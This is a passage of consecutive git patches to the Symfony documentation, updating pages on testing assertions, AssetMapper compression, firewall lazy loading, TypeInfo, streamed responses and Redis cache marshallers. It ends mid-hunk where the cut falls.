@@ -143,3 +151,5 @@ Other Front-End Articles
 .. _`Symfony UX`: https://ux.symfony.com
 .. _`API Platform`: https://api-platform.com/
 .. _`SensioLabs Minify Bundle`: https://github.com/sensiolabs/minify-bundle
+.. _`AssetMapper screencast series`: https://symfonycasts.com/screencast/asset-mapper
+.. _`API Platform screencast series`: https://symfonycasts.com/screencast/api-platform

From d159a4a03e036d7a4664fd02fe07ddf1480850a4 Mon Sep 17 00:00:00 2001
From: Nicolas Appriou <n.appriou@alsim.com>
Date: Wed, 1 Feb 2023 12:55:17 +0100
Subject: [PATCH 5208/5766] [HttpFoundation] Update http response test
 constraint signature

---
 testing.rst | 12 ++++++++----
 1 file changed, 8 insertions(+), 4 deletions(-)

diff --git a/testing.rst b/testing.rst
index 2e681c70543..30c0e87ab77 100644
--- a/testing.rst
+++ b/testing.rst
@@ -961,11 +961,11 @@ However, Symfony provides useful shortcut methods for the most common cases:
 Response Assertions
 ...................
 
-``assertResponseIsSuccessful(string $message = '')``
+``assertResponseIsSuccessful(string $message = '', bool $verbose = true)``
     Asserts that the response was successful (HTTP status is 2xx).
-``assertResponseStatusCodeSame(int $expectedCode, string $message = '')``
+``assertResponseStatusCodeSame(int $expectedCode, string $message = '', bool $verbose = true)``
     Asserts a specific HTTP status code.
-``assertResponseRedirects(?string $expectedLocation = null, ?int $expectedCode = null, string $message = '')``
+``assertResponseRedirects(?string $expectedLocation = null, ?int $expectedCode = null, string $message = '', bool $verbose = true)``
     Asserts the response is a redirect response (optionally, you can check
     the target location and status code). The excepted location can be either
     an absolute or a relative path.
@@ -983,9 +983,13 @@ Response Assertions
     Asserts the response format returned by the
     :method:`Symfony\\Component\\HttpFoundation\\Response::getFormat` method
     is the same as the expected value.
-``assertResponseIsUnprocessable(string $message = '')``
+``assertResponseIsUnprocessable(string $message = '', bool $verbose = true)``
     Asserts the response is unprocessable (HTTP status is 422)
 
+.. versionadded:: 7.1
+
+    The ``$verbose`` parameters were introduced in Symfony 7.1.
+
 Request Assertions
 ..................
 

From 525deadc804f27e9f2ff6f54665a5fdfd4065d58 Mon Sep 17 00:00:00 2001
From: chris <chris@sky-scripts.de>
Date: Mon, 21 Aug 2023 20:26:56 +0200
Subject: [PATCH 5209/5766] Update calling_commands.rst - call the command non
 interactively

https://github.com/symfony/symfony/issues/51339
---
 console/calling_commands.rst | 3 +++
 1 file changed, 3 insertions(+)

diff --git a/console/calling_commands.rst b/console/calling_commands.rst
index 7780fca467e..349f1357682 100644
--- a/console/calling_commands.rst
+++ b/console/calling_commands.rst
@@ -36,6 +36,9 @@ method)::
                 '--yell'  => true,
             ]);
 
+            // disable interactive behavior for the greet command
+            $greetInput->setInteractive(false);
+
             $returnCode = $this->getApplication()->doRun($greetInput, $output);
 
             // ...

From fd5d5bb0bdc2f6eb46564081cffa98e1d7e06b84 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Sat, 7 Dec 2024 14:42:35 +0100
Subject: [PATCH 5210/5766] Remove obsolete whitelist entry

---
 .doctor-rst.yaml | 1 -
 1 file changed, 1 deletion(-)

diff --git a/.doctor-rst.yaml b/.doctor-rst.yaml
index f78b5c21ec9..4bac215563d 100644
--- a/.doctor-rst.yaml
+++ b/.doctor-rst.yaml
@@ -101,7 +101,6 @@ whitelist:
         - '#. The most important config file is ``app/config/services.yml``, which now is'
         - 'The bin/console Command'
         - '.. _`LDAP injection`: http://projects.webappsec.org/w/page/13246947/LDAP%20Injection'
-        - '.. versionadded:: 2.7.2' # Doctrine
         - '.. versionadded:: 2.8.0' # Doctrine
         - '.. versionadded:: 1.9.0' # Encore
         - '.. versionadded:: 1.18' # Flex in setup/upgrade_minor.rst

From 5dfb6fc91618c5a57cf166159f0eab2762951d7c Mon Sep 17 00:00:00 2001
From: Patryk Miedziaszczyk <57354820+Euugi@users.noreply.github.com>
Date: Tue, 4 Jun 2024 19:23:39 +0200
Subject: [PATCH 5211/5766] Add more necessary information

---
 reference/forms/types/time.rst | 3 +++
 1 file changed, 3 insertions(+)

diff --git a/reference/forms/types/time.rst b/reference/forms/types/time.rst
index e4ec432da08..6763289fcc2 100644
--- a/reference/forms/types/time.rst
+++ b/reference/forms/types/time.rst
@@ -82,6 +82,9 @@ values for the hour, minute and second fields::
         ],
     ]);
 
+If you want seconds to be displayed as well, take a look at the setting 
+`with_seconds`_, which is by default set to false.
+
 .. include:: /reference/forms/types/options/hours.rst.inc
 
 .. include:: /reference/forms/types/options/html5.rst.inc

From 6aa67f514e7d6d2134e2b091e70ceb3feb3761b9 Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Sat, 7 Dec 2024 14:50:39 +0100
Subject: [PATCH 5212/5766] [#19940] Use specialized directive

---
 reference/forms/types/time.rst | 5 +++--
 1 file changed, 3 insertions(+), 2 deletions(-)

diff --git a/reference/forms/types/time.rst b/reference/forms/types/time.rst
index 6763289fcc2..f6a612844be 100644
--- a/reference/forms/types/time.rst
+++ b/reference/forms/types/time.rst
@@ -82,8 +82,9 @@ values for the hour, minute and second fields::
         ],
     ]);
 
-If you want seconds to be displayed as well, take a look at the setting 
-`with_seconds`_, which is by default set to false.
+.. seealso::
+
+    See the `with_seconds`_ option on how to enable seconds in the form type.
 
 .. include:: /reference/forms/types/options/hours.rst.inc
 

From 35a3db1adfb2c59c46bce81fe57971c74eaf2056 Mon Sep 17 00:00:00 2001
From: Timo Bakx <github@timobakx.dev>
Date: Sat, 7 Dec 2024 16:49:57 +0100
Subject: [PATCH 5213/5766] Added replacement suggestions for forbidden
 directives

Also bumped DOCtor RST workflow to 1.64.0 to allow this
---
 .doctor-rst.yaml          | 3 ++-
 .github/workflows/ci.yaml | 2 +-
 2 files changed, 3 insertions(+), 2 deletions(-)

diff --git a/.doctor-rst.yaml b/.doctor-rst.yaml
index f78b5c21ec9..f151f91e018 100644
--- a/.doctor-rst.yaml
+++ b/.doctor-rst.yaml
@@ -23,7 +23,8 @@ rules:
     forbidden_directives:
         directives:
             - '.. index::'
-            - '.. caution::'
+            - directive: '.. caution::'
+              replacements: ['.. warning::', '.. danger::']
     indention: ~
     lowercase_as_in_use_statements: ~
     max_blank_lines:
diff --git a/.github/workflows/ci.yaml b/.github/workflows/ci.yaml
index 4d67a5c084c..d072158138a 100644
--- a/.github/workflows/ci.yaml
+++ b/.github/workflows/ci.yaml
@@ -73,7 +73,7 @@ jobs:
                     key: ${{ runner.os }}-doctor-rst-${{ steps.extract_base_branch.outputs.branch }}
 
             -   name: "Run DOCtor-RST"
-                uses: docker://oskarstark/doctor-rst:1.63.0
+                uses: docker://oskarstark/doctor-rst:1.64.0
                 with:
                     args: --short --error-format=github --cache-file=/github/workspace/.cache/doctor-rst.cache
 

From 1d690fc9714cf2ebb6506c3656e6aa6e7909c33a Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?K=C3=A9vin=20Dunglas?= <kevin@dunglas.fr>
Date: Sat, 7 Dec 2024 17:04:18 +0100
Subject: [PATCH 5214/5766] [AssetMapper] mention Zopfli pre-compression and
 add config for web servers

---
 frontend/asset_mapper.rst | 23 ++++++++++++++++++++++-
 1 file changed, 22 insertions(+), 1 deletion(-)

diff --git a/frontend/asset_mapper.rst b/frontend/asset_mapper.rst
index b55803e157f..e83da5aa42b 100644
--- a/frontend/asset_mapper.rst
+++ b/frontend/asset_mapper.rst
@@ -726,7 +726,7 @@ installed the following PHP extensions or CLI commands:
 
 * Brotli: ``brotli`` CLI command; `brotli PHP extension`_;
 * Zstandard: ``zstd`` CLI command; `zstd PHP extension`_;
-* gzip: ``gzip`` CLI command; `zlib PHP extension`_.
+* gzip: ``zopfli`` (better) or ``gzip`` CLI command; `zlib PHP extension`_.
 
 Then, update your AssetMapper configuration to define which compression to use
 and which file extensions should be compressed:
@@ -751,6 +751,27 @@ compressed files are created with the same name as the original but with the
 precompression will use the compressed assets automatically, so there's nothing
 else to configure in your server.
 
+Finally, you need to configure your web server to serve the precompressed assets
+instead of the original ones:
+
+.. configuration-block::
+
+    .. code-block:: caddy
+
+        file_server {
+            precompressed br zstd gzip
+        }
+
+    .. code-block:: nginx
+
+        gzip_static on;
+
+        # Requires https://github.com/google/ngx_brotli
+        brotli_static on;
+
+        # Requires https://github.com/tokers/zstd-nginx-module
+        zstd_static on;
+
 .. tip::
 
     AssetMapper provides an ``assets:compress`` CLI command and a service called

From d94be3f1575f1696e088378390ec7cc03cd9dbf2 Mon Sep 17 00:00:00 2001
From: Florian Moser <git@famoser.ch>
Date: Sun, 8 Dec 2024 15:52:04 +0100
Subject: [PATCH 5215/5766] Add missing argument

---
 serializer.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/serializer.rst b/serializer.rst
index c783b138acb..4a4a934ca01 100644
--- a/serializer.rst
+++ b/serializer.rst
@@ -1818,7 +1818,7 @@ property. This can be used instead of
             },
         ],
     ];
-    $jsonContent = $serializer->serialize($person, 'json');
+    $jsonContent = $serializer->serialize($person, 'json', $context);
     // $jsonContent contains {"name":"cordoval","age":34,"createdAt":"2014-03-22T09:43:12-0500"}
 
 Advanced Deserialization

From 9eb33c848bcf7ba26e42f7b8a080358933218cdc Mon Sep 17 00:00:00 2001
From: Antoine M <amakdessi@me.com>
Date: Tue, 10 Dec 2024 12:08:13 +0100
Subject: [PATCH 5216/5766] Update security.rst

---
 reference/configuration/security.rst | 52 ++++++++++++++++++++++++++++
 1 file changed, 52 insertions(+)

diff --git a/reference/configuration/security.rst b/reference/configuration/security.rst
index b89aab67608..ac9e0382fa5 100644
--- a/reference/configuration/security.rst
+++ b/reference/configuration/security.rst
@@ -1075,6 +1075,58 @@ the session must not be used when authenticating users:
             // ...
         };
 
+.. _reference-security-lazy:
+
+lazy
+~~~~~~~~~
+
+Firewalls can configure a ``lazy`` boolean option in order to load the user and start the session only
+if the application actually accesses the User object,
+(e.g. via a is_granted() call in a template or isGranted() in a controller or service):
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/security.yaml
+        security:
+            # ...
+
+            firewalls:
+                main:
+                    # ...
+                    lazy: true
+
+    .. code-block:: xml
+
+        <!-- config/packages/security.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <srv:container xmlns="http://symfony.com/schema/dic/security"
+            xmlns:srv="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/security
+                https://symfony.com/schema/dic/security/security-1.0.xsd">
+
+            <config>
+                <firewall name="main" lazy="true">
+                    <!-- ... -->
+                </firewall>
+            </config>
+        </srv:container>
+
+    .. code-block:: php
+
+        // config/packages/security.php
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security): void {
+            $mainFirewall = $security->firewall('main');
+            $mainFirewall->lazy(true);
+            // ...
+        };
+
 User Checkers
 ~~~~~~~~~~~~~
 

From b38b1fac1fefda1706e10c32d06d9bade6952af7 Mon Sep 17 00:00:00 2001
From: pgorod <pgorod@users.noreply.github.com>
Date: Fri, 6 Dec 2024 12:32:39 +0000
Subject: [PATCH 5217/5766] [Scheduler] Add some pointers regarding worker
 processes deployment

---
 scheduler.rst | 9 +++++++++
 1 file changed, 9 insertions(+)

diff --git a/scheduler.rst b/scheduler.rst
index 160ba26e0cb..8956ff2fe8d 100644
--- a/scheduler.rst
+++ b/scheduler.rst
@@ -818,6 +818,14 @@ the Messenger component:
 .. image:: /_images/components/scheduler/generate_consume.png
     :alt: Symfony Scheduler - generate and consume
 
+.. tip::
+
+    Depending on your deployment scenario, instead of manually executing this
+    Messenger worker process, you might want to run it with cron, supervisor or systemd,
+    and ensure workers are running at all times. Check out the `Deploying to Production`_
+    section of the Messenger component documentation.
+
+
 Creating a Consumer Programmatically
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
@@ -981,6 +989,7 @@ helping you identify those messages when needed.
     to redispatched messages was introduced in Symfony 6.4.
 
 .. _`MakerBundle`: https://symfony.com/doc/current/bundles/SymfonyMakerBundle/index.html
+.. _`Deploying to Production`: https://symfony.com/doc/current/messenger.html#deploying-to-production
 .. _`Memoizing`: https://en.wikipedia.org/wiki/Memoization
 .. _`cron command-line utility`: https://en.wikipedia.org/wiki/Cron
 .. _`crontab.guru website`: https://crontab.guru/

From d03ce88795d97e980023bf76d155a9625dd17fea Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 10 Dec 2024 13:10:00 +0100
Subject: [PATCH 5218/5766] Minor tweaks

---
 scheduler.rst | 9 ++++-----
 1 file changed, 4 insertions(+), 5 deletions(-)

diff --git a/scheduler.rst b/scheduler.rst
index 8956ff2fe8d..64602cf6034 100644
--- a/scheduler.rst
+++ b/scheduler.rst
@@ -820,11 +820,10 @@ the Messenger component:
 
 .. tip::
 
-    Depending on your deployment scenario, instead of manually executing this
-    Messenger worker process, you might want to run it with cron, supervisor or systemd,
-    and ensure workers are running at all times. Check out the `Deploying to Production`_
-    section of the Messenger component documentation.
-
+    Depending on your deployment scenario, you may prefer automating the execution of
+    the Messenger worker process using tools like cron, Supervisor, or systemd.
+    This ensures workers are running continuously. For more details, refer to the
+    `Deploying to Production`_ section of the Messenger component documentation.
 
 Creating a Consumer Programmatically
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

From b16b5673e831e6a0fd86367135e47509e6d58165 Mon Sep 17 00:00:00 2001
From: Arnaud Lemercier <arnaud@wixiweb.fr>
Date: Sun, 8 Dec 2024 19:23:50 +0100
Subject: [PATCH 5219/5766] Update controller.rst

fix a problem to load "Style" (see : https://frankenphp.dev/docs/early-hints/)
---
 controller.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/controller.rst b/controller.rst
index 8eddd3788cc..3d4f84b4888 100644
--- a/controller.rst
+++ b/controller.rst
@@ -798,7 +798,7 @@ method::
         {
             $response = $this->sendEarlyHints([
                 new Link(rel: 'preconnect', href: 'https://fonts.google.com'),
-                (new Link(href: '/style.css'))->withAttribute('as', 'stylesheet'),
+                (new Link(href: '/style.css'))->withAttribute('as', 'style'),
                 (new Link(href: '/script.js'))->withAttribute('as', 'script'),
             ]);
 

From 405f95ef8844382504372d0dc85178505d7cdfed Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 10 Dec 2024 15:51:38 +0100
Subject: [PATCH 5220/5766] Minor reword

---
 components/type_info.rst | 64 ++++++++++++++++++++++------------------
 1 file changed, 35 insertions(+), 29 deletions(-)

diff --git a/components/type_info.rst b/components/type_info.rst
index 18556e02972..734ac4140ba 100644
--- a/components/type_info.rst
+++ b/components/type_info.rst
@@ -43,9 +43,9 @@ to the :class:`Symfony\\Component\\TypeInfo\\Type` static methods as following::
 Resolvers
 ~~~~~~~~~
 
-The second way of using the component is to use ``TypeInfo`` to resolve a type
-based on reflection or a simple string, this is aimed towards libraries that wants to
-describe a class or anything that has a type easily::
+The second way to use the component is by using ``TypeInfo`` to resolve a type
+based on reflection or a simple string. This approach is designed for libraries
+that need a simple way to describe a class or anything with a type::
 
     use Symfony\Component\TypeInfo\Type;
     use Symfony\Component\TypeInfo\TypeResolver\TypeResolver;
@@ -82,13 +82,15 @@ Each of these calls will return you a ``Type`` instance that corresponds to the
 static method used. You can also resolve types from a string (as shown in the
 ``bool`` parameter of the previous example)
 
-PHPDoc parsing
+PHPDoc Parsing
 ~~~~~~~~~~~~~~
 
-But most times you won't have clean typed properties or you want a more precise type
-thank to advanced PHPDoc, to do that you would want a string resolver based on that PHPDoc.
-First you will require ``phpstan/phpdoc-parser`` package from composer to support string
-revolving. Then you would do as following::
+In many cases, you may not have cleanly typed properties or may need more precise
+type definitions provided by advanced PHPDoc. To achieve this, you can use a string
+resolver based on the PHPDoc annotations.
+
+First, run the command ``composer require phpstan/phpdoc-parser`` to install the
+PHP package required for string resolving. Then, follow these steps::
 
     use Symfony\Component\TypeInfo\TypeResolver\TypeResolver;
 
@@ -106,35 +108,40 @@ revolving. Then you would do as following::
     $typeResolver->resolve(new \ReflectionProperty(Dummy::class, 'id')); // returns an "int" Type
     $typeResolver->resolve(new \ReflectionProperty(Dummy::class, 'id')); // returns a collection with "int" as key and "string" as values Type
 
-Advanced usages
+Advanced Usages
 ~~~~~~~~~~~~~~~
 
-There is many methods to manipulate and check types depending on your needs within the TypeInfo components.
+The TypeInfo component provides various methods to manipulate and check types,
+depending on your needs.
 
-If you need a check a simple Type::
+Checking a **simple type**::
 
-    // You need to check if a Type
-    $type = Type::int(); // with a simple int type
-    // You can check if a given type comply with a given identifier
-    $type->isIdentifiedBy(TypeIdentifier::INT); // true
+    // define a simple integer type
+    $type = Type::int();
+    // check if the type matches a specific identifier
+    $type->isIdentifiedBy(TypeIdentifier::INT);    // true
     $type->isIdentifiedBy(TypeIdentifier::STRING); // false
 
-    $type = Type::union(Type::string(), Type::int()); // with an union of int and string types
-    // You can now see that the second check will pass to true since we have an union with a string type
-    $type->isIdentifiedBy(TypeIdentifier::INT); // true
+    // define a union type (equivalent to PHP's int|string)
+    $type = Type::union(Type::string(), Type::int());
+    // now the second check is true because the union type contains the string type
+    $type->isIdentifiedBy(TypeIdentifier::INT);    // true
     $type->isIdentifiedBy(TypeIdentifier::STRING); // true
 
     class DummyParent {}
     class Dummy extends DummyParent implements DummyInterface {}
-    $type = Type::object(Dummy::class); // with an object Type
-    // You can check is the Type is an object, or even if it's a given class
+
+    // define an object type
+    $type = Type::object(Dummy::class);
+
+    // check if the type is an object or matches a specific class
     $type->isIdentifiedBy(TypeIdentifier::OBJECT); // true
-    $type->isIdentifiedBy(Dummy::class); // true
-    // Or inherits/implements something
-    $type->isIdentifiedBy(DummyParent::class); // true
-    $type->isIdentifiedBy(DummyInterface::class); // true
+    $type->isIdentifiedBy(Dummy::class);           // true
+    // check if it inherits/implements something
+    $type->isIdentifiedBy(DummyParent::class);     // true
+    $type->isIdentifiedBy(DummyInterface::class);  // true
 
-Sometimes you want to check for more than one thing at a time so a callable may be better to check everything::
+Using callables for **complex checks**:
 
     class Foo
     {
@@ -150,8 +157,7 @@ Sometimes you want to check for more than one thing at a time so a callable may
     $stringType = $resolver->resolve($reflClass->getProperty('string'));
     $floatType = $resolver->resolve($reflClass->getProperty('float'));
 
-    // your callable to check whatever you need
-    // here we want to validate a given type is a non nullable number
+    // define a callable to validate non-nullable number types
     $isNonNullableNumber = function (Type $type): bool {
         if ($type->isNullable()) {
             return false;
@@ -165,5 +171,5 @@ Sometimes you want to check for more than one thing at a time so a callable may
     };
 
     $integerType->isSatisfiedBy($isNonNullableNumber); // true
-    $stringType->isSatisfiedBy($isNonNullableNumber); // false
-    $floatType->isSatisfiedBy($isNonNullableNumber); // false
+    $stringType->isSatisfiedBy($isNonNullableNumber);  // false
+    $floatType->isSatisfiedBy($isNonNullableNumber);   // false

From f87bbdf690f629b3096a1f8d0848f471d5e966ed Mon Sep 17 00:00:00 2001
From: Mathias Arlaud <mathias.arlaud@gmail.com>
Date: Wed, 11 Dec 2024 10:38:18 +0100
Subject: [PATCH 5221/5766] [HttpFoundation] Add StreamedResponse string
 iterable documentation

---
 components/http_foundation.rst | 19 +++++++++++++++++--
 1 file changed, 17 insertions(+), 2 deletions(-)

diff --git a/components/http_foundation.rst b/components/http_foundation.rst
index c91ec5ced8f..8db6cd27f68 100644
--- a/components/http_foundation.rst
+++ b/components/http_foundation.rst
@@ -681,8 +681,19 @@ Streaming a Response
 ~~~~~~~~~~~~~~~~~~~~
 
 The :class:`Symfony\\Component\\HttpFoundation\\StreamedResponse` class allows
-you to stream the Response back to the client. The response content is
-represented by a PHP callable instead of a string::
+you to stream the Response back to the client. The response content can be
+represented by a string iterable::
+
+    use Symfony\Component\HttpFoundation\StreamedResponse;
+
+    $chunks = ['Hello', ' World'];
+
+    $response = new StreamedResponse();
+    $response->setChunks($chunks);
+    $response->send();
+
+For most complex use cases, the response content can be instead represented by
+a PHP callable::
 
     use Symfony\Component\HttpFoundation\StreamedResponse;
 
@@ -710,6 +721,10 @@ represented by a PHP callable instead of a string::
         // disables FastCGI buffering in nginx only for this response
         $response->headers->set('X-Accel-Buffering', 'no');
 
+.. versionadded:: 7.3
+
+    Support for using string iterables was introduced in Symfony 7.3.
+
 Streaming a JSON Response
 ~~~~~~~~~~~~~~~~~~~~~~~~~
 

From b66e743657a527d4c14e3e4a1330893c6956cc4d Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?S=C3=A9bastien=20L=C3=A9v=C3=AAque?= <sebastien@leveque.eu>
Date: Wed, 11 Dec 2024 17:11:32 +0100
Subject: [PATCH 5222/5766] [Console] Add support of millisecondes for
 formatTime

---
 components/console/helpers/formatterhelper.rst | 10 ++++++----
 1 file changed, 6 insertions(+), 4 deletions(-)

diff --git a/components/console/helpers/formatterhelper.rst b/components/console/helpers/formatterhelper.rst
index 3cb87c4c307..bff0c82c90f 100644
--- a/components/console/helpers/formatterhelper.rst
+++ b/components/console/helpers/formatterhelper.rst
@@ -129,10 +129,12 @@ Sometimes you want to format seconds to time. This is possible with the
 The first argument is the seconds to format and the second argument is the
 precision (default ``1``) of the result::
 
-    Helper::formatTime(42);        // 42 secs
-    Helper::formatTime(125);       // 2 mins
-    Helper::formatTime(125, 2);    // 2 mins, 5 secs
-    Helper::formatTime(172799, 4); // 1 day, 23 hrs, 59 mins, 59 secs
+    Helper::formatTime(0.001);         // 1 ms
+    Helper::formatTime(42);            // 42 s
+    Helper::formatTime(125);           // 2 min
+    Helper::formatTime(125, 2);        // 2 min, 5 s
+    Helper::formatTime(172799, 4);     // 1 d, 23 h, 59 min, 59 s
+    Helper::formatTime(172799.056, 5); // 1 d, 23 h, 59 min, 59 s, 56 ms
 
 Formatting Memory
 -----------------

From bf5dd100d61c54ed6e4ed729198d2d04a64940a0 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 12 Dec 2024 10:56:45 +0100
Subject: [PATCH 5223/5766] Add the versionadded directive

---
 components/console/helpers/formatterhelper.rst | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/components/console/helpers/formatterhelper.rst b/components/console/helpers/formatterhelper.rst
index bff0c82c90f..d2b19915a3a 100644
--- a/components/console/helpers/formatterhelper.rst
+++ b/components/console/helpers/formatterhelper.rst
@@ -136,6 +136,10 @@ precision (default ``1``) of the result::
     Helper::formatTime(172799, 4);     // 1 d, 23 h, 59 min, 59 s
     Helper::formatTime(172799.056, 5); // 1 d, 23 h, 59 min, 59 s, 56 ms
 
+.. versionadded:: 7.3
+
+    Support for formatting up to milliseconds was introduced in Symfony 7.3.
+
 Formatting Memory
 -----------------
 

From eb5ffa691cc0239d89c72d9ca74897b2e85b23fc Mon Sep 17 00:00:00 2001
From: Baptiste Leduc <baptiste.leduc@gmail.com>
Date: Thu, 12 Dec 2024 11:48:47 +0100
Subject: [PATCH 5224/5766] Fix PHP block in TypeInfo documentation

---
 components/type_info.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/type_info.rst b/components/type_info.rst
index 734ac4140ba..e7062c5f249 100644
--- a/components/type_info.rst
+++ b/components/type_info.rst
@@ -141,7 +141,7 @@ Checking a **simple type**::
     $type->isIdentifiedBy(DummyParent::class);     // true
     $type->isIdentifiedBy(DummyInterface::class);  // true
 
-Using callables for **complex checks**:
+Using callables for **complex checks**::
 
     class Foo
     {

From 3e4bcf17aae617ddf5295e53b95bd505b1a1d509 Mon Sep 17 00:00:00 2001
From: Baptiste Leduc <baptiste.leduc@gmail.com>
Date: Thu, 12 Dec 2024 11:48:47 +0100
Subject: [PATCH 5225/5766] Fix PHP block in TypeInfo documentation

---
 components/type_info.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/type_info.rst b/components/type_info.rst
index 734ac4140ba..e7062c5f249 100644
--- a/components/type_info.rst
+++ b/components/type_info.rst
@@ -141,7 +141,7 @@ Checking a **simple type**::
     $type->isIdentifiedBy(DummyParent::class);     // true
     $type->isIdentifiedBy(DummyInterface::class);  // true
 
-Using callables for **complex checks**:
+Using callables for **complex checks**::
 
     class Foo
     {

From bdb07f88195a9081f9ce2f6f16afa426c4314ea8 Mon Sep 17 00:00:00 2001
From: lacatoire <louis-arnaud.catoire@external.drivalia.com>
Date: Mon, 18 Nov 2024 10:16:59 +0100
Subject: [PATCH 5226/5766] Add few doc on marshaller in redis adapter

---
 components/cache/adapters/redis_adapter.rst | 75 ++++++++++++++++++++-
 1 file changed, 74 insertions(+), 1 deletion(-)

diff --git a/components/cache/adapters/redis_adapter.rst b/components/cache/adapters/redis_adapter.rst
index 827e2dfb00d..a24e24f928d 100644
--- a/components/cache/adapters/redis_adapter.rst
+++ b/components/cache/adapters/redis_adapter.rst
@@ -38,7 +38,11 @@ as the second and third parameters::
         // the default lifetime (in seconds) for cache items that do not define their
         // own lifetime, with a value 0 causing items to be stored indefinitely (i.e.
         // until RedisAdapter::clear() is invoked or the server(s) are purged)
-        $defaultLifetime = 0
+        $defaultLifetime = 0,
+        // $marshaller (optional) MarshallerInterface instance to control serialization
+        // and deserialization of cache items. By default, it uses native PHP serialization.
+        // Useful to compress data, use custom serialization, or optimize the size and performance of cached items.
+        ?MarshallerInterface $marshaller = null
     );
 
 .. versionadded:: 6.3
@@ -266,6 +270,75 @@ performance when using tag-based invalidation::
 
 Read more about this topic in the official `Redis LRU Cache Documentation`_.
 
+Working with Marshaller
+-----------------------
+
+TagAwareMarshaller for Tag-Based Caching
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+Optimizes caching for tag-based retrieval, allowing efficient management of related items::
+
+    $marshaller = new TagAwareMarshaller();
+
+    $cache = new RedisAdapter($redis, 'tagged_namespace', 3600, $marshaller);
+
+    $item = $cache->getItem('tagged_key');
+    $item->set(['value' => 'some_data', 'tags' => ['tag1', 'tag2']]);
+    $cache->save($item);
+
+SodiumMarshaller for Encrypted Caching
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+Encrypts cached data with Sodium for added security::
+
+    $encryptionKeys = [sodium_crypto_box_keypair()];
+    $marshaller = new SodiumMarshaller($encryptionKeys);
+
+    $cache = new RedisAdapter($redis, 'secure_namespace', 3600, $marshaller);
+
+    $item = $cache->getItem('secure_key');
+    $item->set('confidential_data');
+    $cache->save($item);
+
+DefaultMarshaller with igbinary Serialization
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+Uses igbinary for faster, more efficient serialization when available::
+
+    $marshaller = new DefaultMarshaller(true);
+
+    $cache = new RedisAdapter($redis, 'optimized_namespace', 3600, $marshaller);
+
+    $item = $cache->getItem('optimized_key');
+    $item->set(['data' => 'optimized_data']);
+    $cache->save($item);
+
+DefaultMarshaller with Exception on Failure
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+Throws an exception if serialization fails, aiding in error handling::
+
+    $marshaller = new DefaultMarshaller(false, true);
+
+    $cache = new RedisAdapter($redis, 'error_namespace', 3600, $marshaller);
+
+    try {
+        $item = $cache->getItem('error_key');
+        $item->set('data');
+        $cache->save($item);
+    } catch (\ValueError $e) {
+        echo 'Serialization failed: ' . $e->getMessage();
+    }
+
+SodiumMarshaller with Key Rotation
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+Supports key rotation, allowing secure decryption with both old and new keys::
+
+    $keys = [sodium_crypto_box_keypair(), sodium_crypto_box_keypair()];
+    $marshaller = new SodiumMarshaller($keys);
+
+    $cache = new RedisAdapter($redis, 'rotated_namespace', 3600, $marshaller);
+
+    $item = $cache->getItem('rotated_key');
+    $item->set('data_to_encrypt');
+    $cache->save($item);
+
 .. _`Data Source Name (DSN)`: https://en.wikipedia.org/wiki/Data_source_name
 .. _`Redis server`: https://redis.io/
 .. _`Redis`: https://github.com/phpredis/phpredis

From 810f06d5de6a2460931b9003c1725445c2ddeba6 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 12 Dec 2024 16:34:38 +0100
Subject: [PATCH 5227/5766] Minor tweaks

---
 components/cache/adapters/redis_adapter.rst | 23 ++++++++++++++-------
 1 file changed, 15 insertions(+), 8 deletions(-)

diff --git a/components/cache/adapters/redis_adapter.rst b/components/cache/adapters/redis_adapter.rst
index a24e24f928d..503fc42454d 100644
--- a/components/cache/adapters/redis_adapter.rst
+++ b/components/cache/adapters/redis_adapter.rst
@@ -39,9 +39,11 @@ as the second and third parameters::
         // own lifetime, with a value 0 causing items to be stored indefinitely (i.e.
         // until RedisAdapter::clear() is invoked or the server(s) are purged)
         $defaultLifetime = 0,
-        // $marshaller (optional) MarshallerInterface instance to control serialization
-        // and deserialization of cache items. By default, it uses native PHP serialization.
-        // Useful to compress data, use custom serialization, or optimize the size and performance of cached items.
+
+        // $marshaller (optional) An instance of MarshallerInterface to control the serialization
+        // and deserialization of cache items. By default, native PHP serialization is used.
+        // This can be useful for compressing data, applying custom serialization logic, or
+        // optimizing the size and performance of cached items
         ?MarshallerInterface $marshaller = null
     );
 
@@ -275,6 +277,7 @@ Working with Marshaller
 
 TagAwareMarshaller for Tag-Based Caching
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
 Optimizes caching for tag-based retrieval, allowing efficient management of related items::
 
     $marshaller = new TagAwareMarshaller();
@@ -287,7 +290,8 @@ Optimizes caching for tag-based retrieval, allowing efficient management of rela
 
